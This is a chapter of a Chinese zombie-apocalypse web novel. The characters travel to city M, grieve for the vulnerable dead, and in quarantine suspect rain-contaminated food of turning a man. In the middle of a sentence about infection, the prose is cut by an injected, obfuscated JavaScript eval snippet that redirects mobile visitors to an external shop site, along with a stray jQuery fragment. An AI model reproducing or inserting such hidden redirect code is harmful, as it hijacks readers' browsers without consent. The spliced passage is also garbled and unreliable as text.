因为这一次他们在基地有过休整,蒋探又准备了合适的武器,所以一路上都还算顺利。
蒋探和陆辰交换驾驶,一路上见到许多形容可怖的丧尸,显然在城市中已存活了许久,它们行动迟缓,只有在察觉到有人靠近时才会瞬间“活”过来,恶鬼一般尝试把越野车内的几人拉出来。
他们的指甲、牙齿在车身上留下深深的刮痕,肉末横飞,几次有丧尸狂奔着撞向车子,腐烂空洞的脸紧紧地贴着车窗。
这样大的动静,雪娩自然也会醒,但他没有睁开眼,因此竟然没有人察觉,只以为他还睡着。
“到m市需要几天?”
“如果是以前,两天就能到,现在就不知道了,情况好的话,一周吧。”
两句话后,又是短暂的沉默。
这个时候,正开着车的陆辰忽然问,“他睡着了?”
“嗯。”
蒋探低头,静静地看着雪娩。
一群人又不说话了。
他们驶入空无一人的荒草小道,天上的星星仍然明亮,可对他们,唯有车头的灯光照亮前路。
在平稳的颠簸中,雪娩闭着眼,感受到脸上轻微的痒意。
他的头发被一根根理好,轻轻地别在耳后,他不明白蒋探为什么要这样做,头发丝有什么好打理的?
耳边却忽然传来窸窸窣窣的声音,接着,一件温热的外套盖在了他的身上。
那衣服带着蒋探的体温,子夜以后,温度降低,因此蒋探给他盖上了外套。
·
雪娩醒过来的时候车已经停在了一片空地上,这里曾经是一处服务站,如今超市的大门早已经碎裂,到处都是灰扑扑的,一地狼藉。
车里只剩下言司空,蒋探和陆辰两个人下了车,正在公厕外面的水龙头前站着拧水龙头。
拧了几圈儿,果然发现有水,地上的水管漏水,但也勉强可用,陆辰把它接在水龙头上,开始冲洗车上的脏污。
雪娩下意识想下车,坐在前面的言司空连忙出声拦他,“车外面很脏,你等一下,等他们洗干净了再下车。”
雪娩这才收回手,等到陆辰洗干净车,太阳却不见出来,反而天上飘起一层层厚云,陆辰脸色微变,蒋探倒是先笑了一声——果然,下一秒天上便下了噼里啪啦的雨,陆辰这车算是白洗,做了无用功。
陆辰的脸上难得露出点儿挫败来,雪娩忽然意识到这里面的有趣之处,竟然也跟着笑了一下,两眼微弯,唇角也轻勾了一下,陆辰看见,不由得做出悻悻神态,“真倒霉。”
他把软管往地上一甩,刚才洗车时身上的衣服被打湿了一些,布料贴着肩背,又被天上点点落下的雨水慢慢把余下的空白也染成深色。
既然如此,不如先吃饭吧,如今这里下雨,他们把车往休息站屋檐下停了停,找到一处插口,竟然还能通电,又去废弃超市里翻找了一下,摸出一个电热锅。
洗干净锅以后他们倒入矿泉水,将泡面热腾腾地煮好,在暴雨中吃完了这顿早午饭。当然,雪娩的动作最慢,他才习惯筷子的用法,忽然又要学习如何吃面条,咬断以后面条就不好挑,因此雪娩只能一口吃到底,把腮帮子撑的鼓起来,咀嚼以后又有些狼狈地下咽,一时间来不及尝面条的味道,只觉得有些烫,等到吃完以后,才捧着纸碗小口喝汤,尝出其中的咸味。
吃完以后他们把垃圾扔在远处发臭的垃圾桶里,几个人都没急着走,雪娩有些困惑:“这种下雨天是不是丧尸就不会出来了?我们待在这里不会遇到他们吗?”
“有的话一早就该冲出来了,而且下雨天他们也会容易脚滑,”说到这里,言司空想到了什么,“听说有几个城市发生了地震,偏偏又是这种时候……”
人类总是经历着一次次大大小小的灾难,难以想象同类们是如何一步步走到那样辉煌的未来的。
几个人休息了一会儿,雨不见小,看来要下一整天,于是干脆立即上路,趁这个机会,路上的丧尸也少些。
因为这场雨,一群人比预计的更早到达m市边缘,路上他们甚至遇到了几次山体滑坡,但因为如今的情况,这些地方并没有人来抢险救灾。
雪娩意识到这点,忽然提出一个问题,“那那些本来就生活的很辛苦的人,现在还活着的是不是没有多少了?”
他这句话说的有点儿没头没脑,在场几人的思维都没有他这么容易发散联想,陆辰甚至愣了一下,反问他,“什么人?”
“乞丐,住的房子并不坚固的人、残疾人……”雪娩有点儿难受,他看到路边侧翻的清洁车,车上满是血腥,车头挂着一个塑料袋,里面装着硬邦邦发霉的馒头。
但车上已经布满鲜血,推着清洁车在凌晨四点清扫大街的老人已经不见踪影。
他有点太难过了,竟然开始流泪。
“本来就已经很辛苦了,最后又要很快的死去。”
眼泪顺着他的眼睫滚落,他的表情却并不痛苦,他对这种感情感到陌生,做不出激烈的表现,只是流泪,微抿着唇,终于不再说话。
言司空艰难地说,“会好的。”
他们杀死的每一个丧尸都是受害者,为了存活,他们杀死它们,这种悲剧与恐惧将永远传播下去,在必要时刻,生物会唯利是图。
“别太难过。”蒋探终于找到一小包纸巾,用纸给雪娩擦眼泪,他的动作努力轻柔,但看起来还是有些粗鲁,他安慰的方式像是在施加咒语中止指令。
哭——别哭;难过——别难过;生气——别生气……
这是难过吗?
雪娩抬手,低着头,用手背擦拭眼角的泪水,蒋探笨拙的手指还捏着纸巾擦他的脸颊,雪娩这次没有说,好,他不难过,他默不作声地把眼泪擦干,鼻尖发红,不知道是被蒋探弄得,还是自己掉眼泪哭红的。
情绪平稳以后雪娩想,原来这样哭的时候咽喉会痛,如果下次他看见别人哭,他会给那个人倒一杯水喝,润润嗓子的。
·
m市的情况与x市完全不同,街道上并没有那么多尸体存在,他们的车子进入时只觉得这里简直像是一座空城,路上设置了许多路障,偶尔也能见到丧尸,但并没有如x市一样聚集成群,显然m市的武装力量更充足,甚至可以定期大范围清理城市丧尸。
进入m市以后他们的手机甚至恢复了信号,言司空给导师打了电话,一群人很快找到了排队进入研究基地的地方。
一切都很顺利,只不过作为新入人口,他们需要接受隔离。根据目前的数据,被丧尸咬伤的人、或者直接
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14092643|149618||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
接触过丧尸的人都有可能变成丧尸,发作时间在1分钟到3天不等,因此他们至少要被隔离3天。
这不算什么问题,只是待三天而已,看到m市处理的如此熟练,一行人其实都有些放心,因为这大概说明m基地不会出现x市基地的情况。
——确切地说应该是很可能,因为目前为止,x市基地突然出现感染者的原因也没有被查清。
几个人都各自待在自己的单间里,好在房间之间也有窗户,虽然仍然有防护栏隔离,咋一看像坐牢,但其实和坐牢的差别挺大。
雪娩的左右两间分别住着蒋探和言司空,陆辰住在更远一点的地方。这三天想必很快就会过去,雪娩并不担心这一点,其他被隔离的人也是这样想的。
住在他对面的中年男人甚至谈论起他的口腔溃疡。
“昨天的菜太辣了,吃的时候又香又痛,希望今天的清淡一点。”
正说着,送餐员推着车进来,中年人看清楚里面似乎没有红色的辣椒,不由得面露喜色,“被我说中了!”
他拿到盒饭就开吃,吃了几口,忽然停下了动作。
这个时候雪娩正从送餐员手里接过盒饭,再抬头的时候,终于发现了对面的中年男人有些不对劲。
雪娩叫住了送餐员,指着中年男人:“他好像不对劲。”
送餐员只负责送饭,此刻急着回去吃饭,因此扭头看了一眼中年男人,发现对方只是端着餐盒坐着,也就没有多想,说了句没事,就急着离开了。
雪娩看了看中年男人,又看了看手里的饭盒,立刻大声喊,“别吃!”
接着,他又问中年男人,“你能对我说一句话吗?”
一旁的言司空端着盒饭看呆了,“怎么回事,雪娩?”
他忽然皱眉,也对中年男人说,“喂,你说句话,你怎么不说话?”
话音刚落,那中年男人猛地站直身体,就开始暴力砸门,透过未关闭的窗,雪娩看到对方的手臂肌肉以一种不可思议的强度鼓起,完全不顾及如此使用,是否会毁坏这具身体。
“是不是饭菜有问题……”
“今天是隔离第二天,或许只是因为他本来就被感染了。”言司空按照工作人员教的那样按铃求助,那边也表示,很快就会派人过来。
可是雪娩还是有些不安,他皱眉想着,看到言司空要准备扒饭,提高了声音,“不许吃!”
言司空啊了一声,最终放下了筷子,但还是忍不住问:“为什么会怀疑饭菜有问题?”
雪娩目露担忧,“他说他有口腔溃疡,他比我们先进来,这几天都很活泼的,如果他有感染的可能,他不会这么轻松,他是吃了饭以后才变得奇怪的。”
雪娩终于从浩瀚的记忆中翻找出来他需要的。
“是雨,m市也在下大雨,雨水把掩埋的尸体冲刷了,尸水和雨水一起污染了什么,所以如果今天的饭菜有问题,原因可能是这个。”
不远处有人笑了一声,对方刚扒了几口饭,因为雪娩的制止不得不停下,有些相信,又有些怀疑:“你说的是真的吗?算了,等工作人员来处理好了。”
说着,周围其他人也暂时放下了筷子,毕竟饭等一下还可以吃,但万一真的倒霉,也变成了丧尸,那就得不偿失了。